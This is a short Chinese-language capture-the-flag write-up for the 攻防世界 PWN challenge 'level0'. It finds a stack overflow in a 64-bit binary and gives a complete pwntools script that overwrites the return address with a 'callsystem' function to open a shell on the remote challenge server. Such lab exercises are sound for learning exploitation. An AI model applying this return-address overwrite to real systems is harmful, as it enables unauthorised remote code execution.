1. 程式人生 > 其它 >攻防世界PWN簡單題 level0

攻防世界PWN簡單題 level0

攻防世界PWN簡單題 level0

開始考驗棧溢位的相關知識了

Checksec 一下檔案 看看都開了什麼保護 和 是多少位的程式

發現是64位的程式, 扔進IDA64。IDA YYDS。。

進入主函式,通過虛擬碼分析邏輯,找出棧溢位漏洞

找到了棧溢位漏洞,開始尋找攻擊手段。

找到了攻擊手段。簡單題就是如此簡單。找一下callsystem地址,當然也可以直接用pwntools獲取

找到了需要的地址0X400596

開始寫exp攻擊遠端伺服器

 from pwn import *
io = remote ('111.200.241.244',49536)
#連線遠端
elf = ELF('./291721f42a044f50a2aead748d539df0')
#開啟本地程式,如果不想用pwntools獲取callsystem地址,此步可以註釋
payload = b'a'*(0x80+0x8) + p64(elf.symbols['callsystem'])
#構造payload 需要覆蓋0x80個地址+上個ebp地址
#也可p64()中替換成0x0x00400596
io.recvuntil("Hello, World\n")
#接收遠端的返回
io.send(payload)
#傳送payload
io.interactive()
#開始互動,恭喜你獲得了shell去檢視flag吧

丟進環境,執行一下,ls, cat flag。。。

老師!!!交卷!